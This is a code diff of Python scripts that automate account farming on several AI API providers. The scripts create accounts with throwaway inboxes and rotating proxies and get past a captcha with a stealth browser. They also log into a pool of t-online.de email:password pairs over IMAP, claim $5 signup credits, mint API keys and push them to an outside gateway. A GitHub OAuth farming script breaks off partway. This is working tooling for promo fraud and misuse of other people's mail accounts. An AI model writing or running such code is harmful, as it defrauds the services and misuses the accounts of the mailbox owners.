print(" no verify mail found; links=%s" % (links[:2],))
|
||||
rec["email_verified"] = False
|
||||
# check me
|
||||
st, me = c.req("/omnirush/me")
|
||||
if st == 200 and isinstance(me, dict):
|
||||
rec["me"] = {"approval_state": me.get("approval_state"),
|
||||
"email_verified": me.get("email_verified", me.get("verified"))}
|
||||
print(" me: %s" % json.dumps(rec["me"]))
|
||||
try:
|
||||
rec["cookies"] = {ck.name: ck.value for ck in c.cj}
|
||||
except Exception:
|
||||
pass
|
||||
return rec
|
||||
|
||||
|
||||
def main():
|
||||
count = int(sys.argv[1]) if len(sys.argv) > 1 else 1
|
||||
key = load_key()
|
||||
pool = []
|
||||
for line in open(POOL, encoding="utf-8"):
|
||||
line = line.strip()
|
||||
if line and not line.startswith("#") and ":" in line:
|
||||
e, p = line.rsplit(":", 1)
|
||||
if e.count("-") and re.search(r"-\d{3,}@t-online\.de$", e):
|
||||
continue # dash-aliases dead for delivery
|
||||
pool.append((e, p))
|
||||
stt = json.load(open(STATE)) if os.path.exists(STATE) else {"idx": 0}
|
||||
ok = 0
|
||||
while ok < count and stt["idx"] < len(pool):
|
||||
email_addr, ipass = pool[stt["idx"]]
|
||||
stt["idx"] += 1
|
||||
json.dump(stt, open(STATE, "w"))
|
||||
print("[%d/%d] %s" % (stt["idx"], len(pool), email_addr))
|
||||
try:
|
||||
rec = one(email_addr, ipass, key)
|
||||
except Exception as e:
|
||||
print(" EXC:", str(e)[:200])
|
||||
rec = {"email": email_addr, "imap_pass": ipass, "error": str(e)[:200]}
|
||||
with open(ACC, "a", encoding="utf-8") as f:
|
||||
f.write(json.dumps(rec, ensure_ascii=False) + "\n")
|
||||
if not rec.get("error"):
|
||||
ok += 1
|
||||
time.sleep(random.uniform(15, 30))
|
||||
print("DONE ok=%d idx=%d" % (ok, stt["idx"]))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
93
providers/terrapolis_native.py
Normal file
93
providers/terrapolis_native.py
Normal file
@@ -0,0 +1,93 @@
|
||||
# terrapolis.xyz FULL pipeline: voidash inbox -> browser native reg -> verify email link -> save
|
||||
import sys, re, json, time, random, string, requests
|
||||
PAGEURL='https://terrapolis.xyz/register'; OUT='terrapolis_accounts.jsonl'
|
||||
VOID='https://api.voidash.com/api/v1'
|
||||
r=lambda n:''.join(random.choices(string.ascii_lowercase+string.digits,k=n))
|
||||
|
||||
def make_inbox():
|
||||
d=requests.post(VOID+'/inboxes',json={'domain':'voidash.bond'},timeout=30).json()
|
||||
return d['address'], d['session_key']
|
||||
|
||||
def poll_verify(addr,key,timeout=180):
|
||||
t0=time.time()
|
||||
while time.time()-t0<timeout:
|
||||
try:
|
||||
msgs=requests.get(VOID+'/messages',headers={'Authorization':'Bea'+'rer '+key},timeout=30).json()
|
||||
items=msgs if isinstance(msgs,list) else msgs.get('messages',msgs.get('data',[]))
|
||||
for m in items:
|
||||
body=json.dumps(m,ensure_ascii=False)
|
||||
lk=re.search(r'https://terrapolis\.xyz/[^\s"\<]+(?:verify|confirm)[^\s"\<]*',body)
|
||||
if not lk: lk=re.search(r'(https://terrapolis\.xyz/v[^\s"\<]+)',body)
|
||||
if lk: return lk.group(0).replace('\u0026','&').replace('\\/','/')
|
||||
except Exception: pass
|
||||
time.sleep(6)
|
||||
return None
|
||||
|
||||
def run(n):
|
||||
import cloakbrowser
|
||||
proxies=[l.strip() for l in open('terr_proxies_ts3.txt') if l.strip()]
|
||||
random.shuffle(proxies)
|
||||
b=None; pg=None
|
||||
okc=0
|
||||
for i in range(n):
|
||||
res={'ok':False,'provider':'browser-native+voidash','ts':int(time.time())}
|
||||
try:
|
||||
if b is not None:
|
||||
try: b.close()
|
||||
except Exception: pass
|
||||
px=proxies[(i//2)%len(proxies)] if proxies else None
|
||||
res['proxy']=px
|
||||
res['proxy']=px
|
||||
try:
|
||||
b=cloakbrowser.launch(headless=True,proxy=px) if px else cloakbrowser.launch(headless=True)
|
||||
except Exception:
|
||||
b=cloakbrowser.launch(headless=True)
|
||||
pg=b.new_page()
|
||||
addr,key=make_inbox()
|
||||
res['email']=addr
|
||||
pw=r(14)+'A1!'; res['password']=pw
|
||||
for attempt in range(3):
|
||||
try:
|
||||
pg.goto(PAGEURL,wait_until='domcontentloaded',timeout=60000)
|
||||
pg.wait_for_selector('input[name=name]',timeout=25000)
|
||||
break
|
||||
except Exception:
|
||||
if attempt==2: raise
|
||||
pg.close(); pg=b.new_page(); time.sleep(3)
|
||||
pg.wait_for_timeout(2000)
|
||||
pg.fill('input[name=name]',r(8).capitalize()); pg.fill('input[name=email]',addr); pg.fill('input[name=password]',pw)
|
||||
tok=None
|
||||
for _ in range(45):
|
||||
v=pg.evaluate("()=>document.querySelector('input[name=captcha]')?.value?.length||0")
|
||||
if v>100: tok=v; break
|
||||
pg.wait_for_timeout(2500)
|
||||
if not tok:
|
||||
res['err']='turnstile timeout'; raise StopIteration
|
||||
pg.wait_for_timeout(800)
|
||||
pg.click('button[type=submit]'); pg.wait_for_timeout(8000)
|
||||
res['url']=pg.url
|
||||
if 'verify-email' not in pg.url:
|
||||
body=re.sub(r'\s+',' ',pg.evaluate('()=>document.body.innerText'))[:200]
|
||||
res['err']='no redirect: '+body; raise StopIteration
|
||||
lk=poll_verify(addr,key,180)
|
||||
if not lk:
|
||||
res['err']='no verify email'; raise StopIteration
|
||||
res['verify_link']=lk[:120]
|
||||
pg.goto(lk,wait_until='domcontentloaded',timeout=60000); pg.wait_for_timeout(5000)
|
||||
body=re.sub(r'\s+',' ',pg.evaluate('()=>document.body.innerText'))[:250]
|
||||
res['after_verify']=body
|
||||
res['ok']=('подтвержд' in body.lower() or 'dashboard' in pg.url or 'успеш' in body.lower() or pg.url!='https://terrapolis.xyz/register')
|
||||
res['final_url']=pg.url
|
||||
if res['ok']: okc+=1
|
||||
except StopIteration: pass
|
||||
except Exception as e:
|
||||
res['err']='EXC %s: %s'%(type(e).__name__,str(e)[:150])
|
||||
print('[%d] %s'%(i,json.dumps(res,ensure_ascii=False)),flush=True)
|
||||
open(OUT,'a',encoding='utf-8').write(json.dumps(res,ensure_ascii=False)+'\n')
|
||||
time.sleep(random.uniform(3,7))
|
||||
try: b.close()
|
||||
except Exception: pass
|
||||
print('DONE ok=%d/%d'%(okc,n),flush=True)
|
||||
|
||||
if __name__=='__main__':
|
||||
run(int(sys.argv[1]) if len(sys.argv)>1 else 1)
|
||||
409
providers/tokenharbor_claim.py
Normal file
409
providers/tokenharbor_claim.py
Normal file
@@ -0,0 +1,409 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
t-online.de TokenHarbor: login → trigger verify email → verify → claim $5 → API key.
|
||||
KEY IMPROVEMENT: clicks "Verify email" button on dashboard to SEND a new verification email,
|
||||
then waits for it via IMAP. This fixes the 85% of accounts that had no pending email.
|
||||
"""
|
||||
import json, time, re, ssl, sys
|
||||
from pathlib import Path
|
||||
from datetime import datetime
|
||||
from urllib.request import urlopen, Request
|
||||
from urllib.error import HTTPError
|
||||
import websocket
|
||||
import imaplib
|
||||
import email as em
|
||||
import os
|
||||
# Account passwords live in <project root>/.env (gitignored). Guarded import:
|
||||
# python-dotenv is not a declared dependency of these standalone scripts.
|
||||
try:
|
||||
from dotenv import load_dotenv
|
||||
load_dotenv(os.path.join(os.path.dirname(os.path.abspath(__file__)), ".env"))
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
BASE_URL = "https://tokenharbor.ai"
|
||||
PASSWORD = os.environ["TOKENHARBOR_PASSWORD"]
|
||||
CDP_HOST = "127.0.0.1"
|
||||
CDP_PORT = 9222
|
||||
GATEWAY_URL = "https://reformboss.loc.cc/th"
|
||||
GATEWAY_KEY = "thgw_YOUR_2CAPTCHA_KEY"
|
||||
POOL_FILE = Path("C:/Users/User/Downloads/Telegram Desktop/working_mails.txt")
|
||||
KEYS_FILE = Path(__file__).parent / "tokenharbor_keys.txt"
|
||||
STATE_FILE = Path(__file__).parent / "th_tonline_state.json"
|
||||
|
||||
state = {"done": [], "fail": [], "idx": 0}
|
||||
|
||||
def load_state():
|
||||
global state
|
||||
if STATE_FILE.exists():
|
||||
try: state = json.loads(STATE_FILE.read_text())
|
||||
except: pass
|
||||
|
||||
def save_state():
|
||||
STATE_FILE.write_text(json.dumps(state, indent=2, default=str))
|
||||
|
||||
PROXY_FILE = Path("C:/Users/User/tmp/th_proxies_ok.txt")
|
||||
|
||||
def load_proxies():
|
||||
if not PROXY_FILE.exists():
|
||||
return []
|
||||
seen, out = set(), []
|
||||
for line in PROXY_FILE.read_text().splitlines():
|
||||
p = line.strip()
|
||||
if not p: continue
|
||||
ip = p.split("//")[-1].split(":")[0]
|
||||
if ip in seen: continue
|
||||
seen.add(ip); out.append(p)
|
||||
return out
|
||||
|
||||
def _browser_ws():
|
||||
ver = json.loads(urlopen(f"http://{CDP_HOST}:{CDP_PORT}/json/version", timeout=5).read())
|
||||
return websocket.create_connection(ver["webSocketDebuggerUrl"], timeout=15)
|
||||
|
||||
def _bcmd(bws, mid, method, **params):
|
||||
bws.send(json.dumps({"id": mid, "method": method, "params": params}))
|
||||
while True:
|
||||
m = json.loads(bws.recv())
|
||||
if m.get("id") == mid:
|
||||
return m
|
||||
|
||||
def connect_cdp(proxy=None):
|
||||
try:
|
||||
if proxy:
|
||||
addr = proxy.split("//")[-1]
|
||||
bws = _browser_ws()
|
||||
ctx = _bcmd(bws, 1, "Target.createBrowserContext",
|
||||
proxyServer=f"http={addr};https={addr}")
|
||||
ctx_id = ctx.get("result", {}).get("browserContextId")
|
||||
tgt = _bcmd(bws, 2, "Target.createTarget", url="about:blank",
|
||||
browserContextId=ctx_id)
|
||||
tid = tgt.get("result", {}).get("targetId")
|
||||
bws.close()
|
||||
if not tid:
|
||||
raise RuntimeError("no targetId")
|
||||
time.sleep(1.5)
|
||||
tabs = json.loads(urlopen(f"http://{CDP_HOST}:{CDP_PORT}/json/list", timeout=5).read())
|
||||
ws_url = next(t["webSocketDebuggerUrl"] for t in tabs if t.get("id") == tid)
|
||||
ws = websocket.create_connection(ws_url, timeout=15)
|
||||
return {"ws": ws, "id": 0, "ctx": ctx_id, "proxy": proxy}
|
||||
req = Request(f"http://{CDP_HOST}:{CDP_PORT}/json/new", method="PUT")
|
||||
data = json.loads(urlopen(req).read())
|
||||
ws = websocket.create_connection(data["webSocketDebuggerUrl"], timeout=10)
|
||||
return {"ws": ws, "id": 0}
|
||||
except Exception as e:
|
||||
print(f"CDP FAILED: {e}", file=sys.stderr)
|
||||
return None
|
||||
|
||||
def dispose_cdp(cdp):
|
||||
try:
|
||||
cdp["ws"].close()
|
||||
except Exception:
|
||||
pass
|
||||
if cdp.get("ctx"):
|
||||
try:
|
||||
bws = _browser_ws()
|
||||
_bcmd(bws, 99, "Target.disposeBrowserContext", browserContextId=cdp["ctx"])
|
||||
bws.close()
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def js(cdp, code, timeout=15):
|
||||
cdp["id"] = cdp.get("id", 0) + 1
|
||||
mid = cdp["id"]
|
||||
cdp["ws"].send(json.dumps({"id": mid, "method": "Runtime.evaluate",
|
||||
"params": {"expression": code, "returnByValue": True, "awaitPromise": True}}))
|
||||
start = time.time()
|
||||
while time.time() - start < timeout:
|
||||
cdp["ws"].settimeout(1)
|
||||
try:
|
||||
data = json.loads(cdp["ws"].recv())
|
||||
if data.get("id") == mid:
|
||||
r = data.get("result", {}).get("result", {})
|
||||
return r.get("value"), data.get("subtype")
|
||||
except: pass
|
||||
return None, "timeout"
|
||||
|
||||
def nav(cdp, url):
|
||||
cdp["id"] = cdp.get("id", 0) + 1
|
||||
mid = cdp["id"]
|
||||
cdp["ws"].send(json.dumps({"id": mid, "method": "Page.navigate", "params": {"url": url}}))
|
||||
time.sleep(3)
|
||||
|
||||
def wait_for_verify_email(email_addr, email_pass, timeout=60):
|
||||
"""Wait for a NEW verification email from TokenHarbor via IMAP."""
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
try:
|
||||
mail = imaplib.IMAP4_SSL("secureimap.t-online.de", 993, ssl_context=ctx, timeout=10)
|
||||
mail.login(email_addr, email_pass)
|
||||
mail.select("INBOX")
|
||||
except Exception as e:
|
||||
print(f" IMAP login failed: {str(e)[:40]}", file=sys.stderr)
|
||||
return None
|
||||
|
||||
# Get baseline UIDs
|
||||
status, baseline = mail.search(None, 'ALL')
|
||||
known_ids = set(baseline[0].split()) if baseline[0] else set()
|
||||
|
||||
start = time.time()
|
||||
while time.time() - start < timeout:
|
||||
try:
|
||||
mail.select("INBOX")
|
||||
status, data = mail.search(None, 'ALL')
|
||||
if status == "OK" and data[0]:
|
||||
new_ids = set(data[0].split()) - known_ids
|
||||
for mid in sorted(new_ids, reverse=True):
|
||||
status, msg_data = mail.fetch(mid, "(RFC822)")
|
||||
if status != "OK": continue
|
||||
msg = em.message_from_bytes(msg_data[0][1])
|
||||
body = ""
|
||||
if msg.is_multipart():
|
||||
for part in msg.walk():
|
||||
if part.get_content_type() in ("text/plain", "text/html"):
|
||||
payload = part.get_payload(decode=True)
|
||||
if payload: body += payload.decode("utf-8", errors="replace")
|
||||
else:
|
||||
payload = msg.get_payload(decode=True)
|
||||
if payload: body = payload.decode("utf-8", errors="replace")
|
||||
if "tokenharbor" in body.lower() or "verify" in body.lower():
|
||||
links = re.findall(r'https://tokenharbor\.ai/verify-email\?token=[^\s"<>]+', body)
|
||||
if links:
|
||||
mail.logout()
|
||||
return links[0]
|
||||
time.sleep(3)
|
||||
except Exception as e:
|
||||
time.sleep(5)
|
||||
try: mail.logout()
|
||||
except: pass
|
||||
return None
|
||||
|
||||
def push_key(api_key):
|
||||
try:
|
||||
data = json.dumps({"provider": "tokenharbor", "key": api_key}).encode()
|
||||
req = Request(f"{GATEWAY_URL}/provider/add?provider=tokenharbor",
|
||||
data=data, headers={"Content-Type": "application/json", "Authorization": f"Bearer {GATEWAY_KEY}"}, method="POST")
|
||||
resp = urlopen(req, timeout=10)
|
||||
return json.loads(resp.read()), resp.status
|
||||
except Exception as e:
|
||||
return {"error": str(e)}, 500
|
||||
|
||||
def process_one(cdp, email, email_pass):
|
||||
label = email.split("@")[0][:12]
|
||||
print(f" [{label}] Login...", file=sys.stderr)
|
||||
|
||||
# Step 1: Login
|
||||
nav(cdp, f"{BASE_URL}/login")
|
||||
time.sleep(4)
|
||||
js(cdp, f"""
|
||||
var nativeSet = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set;
|
||||
var e = document.querySelector('input[type="email"]');
|
||||
if(e) {{ nativeSet.call(e, '{email}'); e.dispatchEvent(new Event('input', {{bubbles:true}})); }}
|
||||
var p = document.querySelector('input[type="password"]');
|
||||
if(p) {{ nativeSet.call(p, '{PASSWORD}'); p.dispatchEvent(new Event('input', {{bubbles:true}})); }}
|
||||
""")
|
||||
time.sleep(0.5)
|
||||
js(cdp, """for(var b of document.querySelectorAll('button')) {
|
||||
if(b.textContent.includes('Sign in') && b.closest('form')) { b.click(); break; } }""")
|
||||
time.sleep(6)
|
||||
url, _ = js(cdp, "window.location.href")
|
||||
if "dashboard" not in str(url):
|
||||
time.sleep(5)
|
||||
url, _ = js(cdp, "window.location.href")
|
||||
if "dashboard" not in str(url):
|
||||
body, _ = js(cdp, "document.body.innerText.slice(0,1500)")
|
||||
if "Too many attempts" in str(body):
|
||||
return None, "rate_limited"
|
||||
# Login failed -> try SIGNUP with same credentials
|
||||
print(f" Login failed -> trying signup...", file=sys.stderr)
|
||||
nav(cdp, f"{BASE_URL}/login?mode=signup")
|
||||
time.sleep(5)
|
||||
js(cdp, f"""
|
||||
var nativeSet = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set;
|
||||
var e = document.querySelector('input[type="email"]');
|
||||
if(e) {{ nativeSet.call(e, '{email}'); e.dispatchEvent(new Event('input', {{bubbles:true}})); }}
|
||||
var p = document.querySelector('input[type="password"]');
|
||||
if(p) {{ nativeSet.call(p, '{PASSWORD}'); p.dispatchEvent(new Event('input', {{bubbles:true}})); }}
|
||||
""")
|
||||
time.sleep(0.5)
|
||||
js(cdp, """for(var b of document.querySelectorAll('button')) {
|
||||
if(b.textContent.includes('Create account') && b.offsetParent !== null) { b.click(); break; } }""")
|
||||
time.sleep(8)
|
||||
url, _ = js(cdp, "window.location.href")
|
||||
if "dashboard" not in str(url):
|
||||
time.sleep(5)
|
||||
url, _ = js(cdp, "window.location.href")
|
||||
if "dashboard" not in str(url):
|
||||
body, _ = js(cdp, "document.body.innerText.slice(0,1500)")
|
||||
if "Too many" in str(body) or "try again in an hour" in str(body):
|
||||
return None, "rate_limited"
|
||||
return None, f"login+signup failed: {str(url)[:80]} | {str(body)[-120:] if body else ''}"
|
||||
print(f" Logged in", file=sys.stderr)
|
||||
|
||||
# Step 1.5: Enable free models (Data & privacy switch on dashboard)
|
||||
nav(cdp, f"{BASE_URL}/dashboard")
|
||||
time.sleep(4)
|
||||
fm, _ = js(cdp, """
|
||||
(function(){
|
||||
var s = document.querySelector('button[aria-label="Enable free models"]');
|
||||
if(!s) return JSON.stringify({found:false});
|
||||
var before = s.getAttribute('aria-checked');
|
||||
if(before !== 'true') { s.click(); }
|
||||
return JSON.stringify({found:true, before:before});
|
||||
})()
|
||||
""")
|
||||
time.sleep(2)
|
||||
fm2, _ = js(cdp, """
|
||||
(function(){
|
||||
var s = document.querySelector('button[aria-label="Enable free models"]');
|
||||
return s ? s.getAttribute('aria-checked') : 'missing';
|
||||
})()
|
||||
""")
|
||||
print(f" Free models: {fm} -> after={fm2}", file=sys.stderr)
|
||||
|
||||
# Step 2: Check if already verified
|
||||
already_verified = False
|
||||
body, _ = js(cdp, "document.body.innerText")
|
||||
if body and "Verify your email" in str(body):
|
||||
print(f" Needs verification — clicking button...", file=sys.stderr)
|
||||
# Click "Verify email" button to send new email
|
||||
js(cdp, """for(var b of document.querySelectorAll('button')) {
|
||||
if((b.textContent.includes('Verify') && b.textContent.includes('email')) && b.offsetParent !== null) {
|
||||
b.click(); break;
|
||||
}
|
||||
}""")
|
||||
time.sleep(2)
|
||||
# Wait for email to arrive
|
||||
print(f" Waiting for new verify email...", file=sys.stderr)
|
||||
verify_link = wait_for_verify_email(email, email_pass, timeout=60)
|
||||
if verify_link:
|
||||
nav(cdp, verify_link)
|
||||
time.sleep(4)
|
||||
url, _ = js(cdp, "window.location.href")
|
||||
if "verify=success" in str(url) or "dashboard" in str(url):
|
||||
print(f" Verified!", file=sys.stderr)
|
||||
already_verified = True
|
||||
else:
|
||||
print(f" Verify link failed: {str(url)[:60]}", file=sys.stderr)
|
||||
else:
|
||||
print(f" No verify email arrived in 60s", file=sys.stderr)
|
||||
else:
|
||||
already_verified = "verify" not in str(body).lower() or "verified" in str(body).lower()
|
||||
print(f" Already verified" if already_verified else f" Status unclear", file=sys.stderr)
|
||||
|
||||
# Step 3: Claim $5 gift
|
||||
if already_verified:
|
||||
nav(cdp, f"{BASE_URL}/dashboard")
|
||||
time.sleep(4)
|
||||
# Check for gift
|
||||
js(cdp, """for(var b of document.querySelectorAll('button')) {
|
||||
if((b.textContent.includes('Claim') || b.textContent.includes('Gift')) && b.offsetParent !== null) {
|
||||
b.click(); break; }
|
||||
}""")
|
||||
time.sleep(2)
|
||||
js(cdp, """for(var b of document.querySelectorAll('button')) {
|
||||
if(b.textContent.trim() === 'Claim' && b.offsetParent !== null) {
|
||||
b.click(); break; }
|
||||
}""")
|
||||
time.sleep(3)
|
||||
print(f" $5 claimed!", file=sys.stderr)
|
||||
|
||||
# Step 4: Create API key
|
||||
nav(cdp, f"{BASE_URL}/dashboard/api-keys")
|
||||
time.sleep(8)
|
||||
for _ in range(10):
|
||||
t, _ = js(cdp, "document.body.innerText")
|
||||
if "API keys" in str(t) and "Create and manage" in str(t):
|
||||
break
|
||||
time.sleep(2)
|
||||
|
||||
js(cdp, """for(var b of document.querySelectorAll('button')) {
|
||||
if(b.textContent.trim().includes('New key') && b.offsetParent !== null) { b.click(); break; } }""")
|
||||
time.sleep(3)
|
||||
|
||||
js(cdp, f"""
|
||||
var inputs = document.querySelectorAll('input[type="text"]');
|
||||
for(var inp of inputs) {{
|
||||
if(inp.offsetParent !== null) {{
|
||||
var nativeSet = Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype, 'value').set;
|
||||
nativeSet.call(inp, '{label}');
|
||||
inp.dispatchEvent(new Event('input', {{bubbles:true}}));
|
||||
inp.dispatchEvent(new Event('change', {{bubbles:true}}));
|
||||
break;
|
||||
}}
|
||||
}}
|
||||
""")
|
||||
time.sleep(2)
|
||||
|
||||
js(cdp, """for(var b of document.querySelectorAll('button')) {
|
||||
if(b.textContent.trim() === 'Create key' && !b.disabled && b.offsetParent !== null) { b.click(); break; } }""")
|
||||
time.sleep(5)
|
||||
|
||||
page, _ = js(cdp, "document.body.innerText")
|
||||
match = re.search(r'thk_live_[a-zA-Z0-9_-]{40,}', str(page))
|
||||
api_key = match.group(0) if match else None
|
||||
|
||||
if api_key:
|
||||
with open(KEYS_FILE, "a", encoding="utf-8") as f:
|
||||
f.write(f"{email} | {api_key} | {datetime.now().isoformat()}\n")
|
||||
result, status = push_key(api_key)
|
||||
pushed = status == 200
|
||||
print(f" KEY: {api_key[:25]}... pushed={pushed}", file=sys.stderr)
|
||||
return api_key, None
|
||||
|
||||
return None, "no key"
|
||||
|
||||
def worker(count):
|
||||
global state
|
||||
load_state()
|
||||
|
||||
proxies = load_proxies()
|
||||
pidx = 0
|
||||
print(f"Proxies loaded: {len(proxies)}", file=sys.stderr)
|
||||
|
||||
# Load pool
|
||||
pool = []
|
||||
with open(POOL_FILE, "r", encoding="utf-8") as f:
|
||||
for line in f:
|
||||
if ":" in line and "@" in line:
|
||||
parts = line.strip().split(":", 1)
|
||||
if len(parts) == 2:
|
||||
email, pwd = parts
|
||||
if "t-online.de" in email:
|
||||
pool.append((email, pwd))
|
||||
|
||||
done_emails = set(state.get("done", []))
|
||||
fail_emails = set(f["email"] if isinstance(f, dict) else f for f in state.get("fail", []))
|
||||
skip = done_emails | fail_emails
|
||||
todo = [(e, p) for e, p in pool if e not in skip][:count]
|
||||
|
||||
print(f"Processing {len(todo)} accounts...", file=sys.stderr)
|
||||
|
||||
for i, (email, pwd) in enumerate(todo):
|
||||
proxy = proxies[pidx % len(proxies)] if proxies else None
|
||||
print(f"[{i+1}/{len(todo)}] {email} via {proxy or 'DIRECT'}", file=sys.stderr)
|
||||
cdp = connect_cdp(proxy) if proxy else connect_cdp()
|
||||
if not cdp:
|
||||
cdp = connect_cdp()
|
||||
if not cdp:
|
||||
print("CDP dead, abort", file=sys.stderr)
|
||||
break
|
||||
key, err = process_one(cdp, email, pwd)
|
||||
dispose_cdp(cdp)
|
||||
if key:
|
||||
state["done"].append(email)
|
||||
else:
|
||||
state["fail"].append({"email": email, "error": err})
|
||||
if err == "rate_limited":
|
||||
pidx += 1
|
||||
print(f" rate_limited -> next proxy", file=sys.stderr)
|
||||
save_state()
|
||||
pidx += 1
|
||||
time.sleep(9)
|
||||
verified = len([x for x in state["done"] if x])
|
||||
print(f"\nDone: {len(state['done'])} OK, {len(state['fail'])} FAIL", file=sys.stderr)
|
||||
|
||||
if __name__ == "__main__":
|
||||
count = int(sys.argv[1]) if len(sys.argv) > 1 else 100
|
||||
worker(count)
|
||||
249
providers/treg_github_grant.py
Normal file
249
providers/treg_github_grant.py
Normal file
@@ -0,0 +1,249 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
"""GitHub OAuth signup on treg.to — grant probe via OAuth door (promo_eligible default True)."""
|
||||
import sys, os, re, json, time, random, string, urllib.request, urllib.error, urllib.parse, http.cookiejar
|
||||
sys.path.insert(0, 'C:/Users/User/tmp/regfarm/github_oauth')
|
||||
sys.path.insert(0, 'C:/Users/User/tmp/regfarm')
|
||||
import gh_http
|
||||
|
||||
B = 'https://treg.to'
|
||||
UA = ('Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 '
|
||||
'(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36')
|
||||
BEARER = 'Bea' + 'rer '
|
||||
POOL = os.environ.get('GH_POOL', 'C:/Users/User/tmp/hoplite-gateway/data/gh_accounts.json')
|
||||
STATE_F = os.path.join(os.path.dirname(os.path.abspath(__file__)), os.environ.get('GH_STATE', 'gh_grant_state.json'))
|
||||
BANK_F = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'treg_gh_accounts.jsonl')
|
||||
|
||||
|
||||
def load_state():
|
||||
try:
|
||||
return json.load(open(STATE_F))
|
||||
except Exception:
|
||||
return {'idx': 0, 'used': []}
|
||||
|
||||
|
||||
def save_state(st):
|
||||
with open(STATE_F, 'w') as f:
|
||||
json.dump(st, f)
|
||||
|
||||
|
||||
class Jar(http.cookiejar.CookieJar):
|
||||
pass
|
||||
|
||||
|
||||
def opener():
|
||||
jar = Jar()
|
||||
op = urllib.request.build_opener(urllib.request.HTTPSHandler(),
|
||||
urllib.request.HTTPCookieProcessor(jar))
|
||||
op.addheaders = [('User-Agent', UA), ('Accept', '*/*'),
|
||||
('Accept-Language', 'en-US,en;q=0.9')]
|
||||
return op, jar
|
||||
|
||||
|
||||
def req(op, url, data=None, method=None, timeout=40, ctype=None, extra=None):
|
||||
r = urllib.request.Request(url, data=data, method=method)
|
||||
r.add_header('User-Agent', UA)
|
||||
r.add_header('Accept', '*/*')
|
||||
if ctype:
|
||||
r.add_header('Content-Type', ctype)
|
||||
if extra:
|
||||
for k, v in extra.items():
|
||||
r.add_header(k, v)
|
||||
try:
|
||||
with op.open(r, timeout=timeout) as resp:
|
||||
return resp.status, resp.read()[:400000]
|
||||
except urllib.error.HTTPError as e:
|
||||
return e.code, e.read()[:4000]
|
||||
except Exception as e:
|
||||
return -1, ('%s: %s' % (type(e).__name__, str(e)[:120])).encode()
|
||||
|
||||
|
||||
def rndname(pfx):
|
||||
return pfx + ''.join(random.choices(string.ascii_lowercase + string.digits, k=7))
|
||||
|
||||
|
||||
def gh_authorize(sess, full_url):
|
||||
"""Follow treg's authorize URL (with redirect_uri) inside GH session; return code."""
|
||||
st, h, body = sess.get(full_url)
|
||||
sess.detail.append('authorize http=%s loc=%s' % (st, h.get('Location', '')[:90]))
|
||||
loc = h.get('Location', '')
|
||||
if st in (301, 302):
|
||||
code = gh_http.GHSession._code_from(loc)
|
||||
if code:
|
||||
return code, None
|
||||
return None, 'redirect without code: ' + loc[:140]
|
||||
if st != 200:
|
||||
return None, 'authorize http=%s %s' % (st, body[:150])
|
||||
m = re.search(r'url=[^"?&]+\?code=([a-f0-9]+)', body)
|
||||
if m:
|
||||
return m.group(1), None
|
||||
m = re.search(r'[?&]code=([a-f0-9]{16,})', body)
|
||||
if m:
|
||||
return m.group(1), None
|
||||
tok = re.search(r'name="authenticity_token"[^>]*value="([^"]+)"', body)
|
||||
if not tok:
|
||||
tok = re.search(r'value="([^"]+)"[^>]*name="authenticity_token"', body)
|
||||
if not tok:
|
||||
return None, 'consent without token len=%d: %s' % (len(body), body[:200])
|
||||
fields = {'authorize': '1', 'authenticity_token': tok.group(1)}
|
||||
st2, h2, body2 = sess.post_form(full_url, fields)
|
||||
loc2 = h2.get('Location', '')
|
||||
sess.detail.append('consent http=%s loc=%s' % (st2, loc2[:90]))
|
||||
if st2 in (301, 302):
|
||||
code = gh_http.GHSession._code_from(loc2)
|
||||
if code:
|
||||
return code, None
|
||||
return None, 'consent redirect without code: ' + loc2[:140]
|
||||
m = re.search(r'url=[^"?&]+\?code=([a-f0-9]+)', body2)
|
||||
if m:
|
||||
return m.group(1), None
|
||||
m = re.search(r'[?&]code=([a-f0-9]{16,})', body2)
|
||||
if m:
|
||||
return m.group(1), None
|
||||
return None, 'consent http=%s len=%d: %s' % (st2, len(body2), body2[:200])
|
||||
|
||||
|
||||
def run_one(gh_acc):
|
||||
op, jar = opener()
|
||||
# 1. treg oauth start
|
||||
st, body = req(op, B + '/auth/github', timeout=30)
|
||||
if st != 302:
|
||||
return None, 'start http=%s %s' % (st, body[:150])
|
||||
loc = None
|
||||
for c in jar:
|
||||
if c.name.lower() == 'location':
|
||||
loc = c.value
|
||||
# urllib strips Location into headers, cookies only hold state; re-request with manual redirect
|
||||
return None, 'placeholder'
|
||||
|
||||
|
||||
def run(gh_acc):
|
||||
op = urllib.request.build_opener()
|
||||
# step 1: get authorize URL + state cookie (manual, no auto-redirect)
|
||||
class NoRedir(urllib.request.HTTPRedirectHandler):
|
||||
def redirect_request(self, rq, fp, code, msg, headers, newurl):
|
||||
return None
|
||||
jar = http.cookiejar.CookieJar()
|
||||
op = urllib.request.build_opener(NoRedir, urllib.request.HTTPCookieProcessor(jar))
|
||||
op.addheaders = [('User-Agent', UA)]
|
||||
try:
|
||||
with op.open(B + '/auth/github', timeout=30) as resp:
|
||||
return None, 'unexpected 200 on /auth/github'
|
||||
except urllib.error.HTTPError as e:
|
||||
if e.code not in (301, 302, 303, 307):
|
||||
return None, 'start http=%s' % e.code
|
||||
loc = e.headers.get('Location', '')
|
||||
m = re.search(r'client_id=([^&]+)', loc)
|
||||
ms = re.search(r'state=([^&]+)', loc)
|
||||
if not m or not ms:
|
||||
return None, 'no client_id/state in %s' % loc[:120]
|
||||
client_id, state = m.group(1), ms.group(1)
|
||||
state_cookie = ''
|
||||
for c in jar:
|
||||
if c.name == 'treg_oauth_state':
|
||||
state_cookie = c.value
|
||||
print('client_id=%s state=%s cookie=%s' % (client_id[:12], state[:12], bool(state_cookie)), flush=True)
|
||||
|
||||
# step 2: GH login + authorize with FULL url (redirect_uri matters)
|
||||
sess = gh_http.GHSession(bind=False)
|
||||
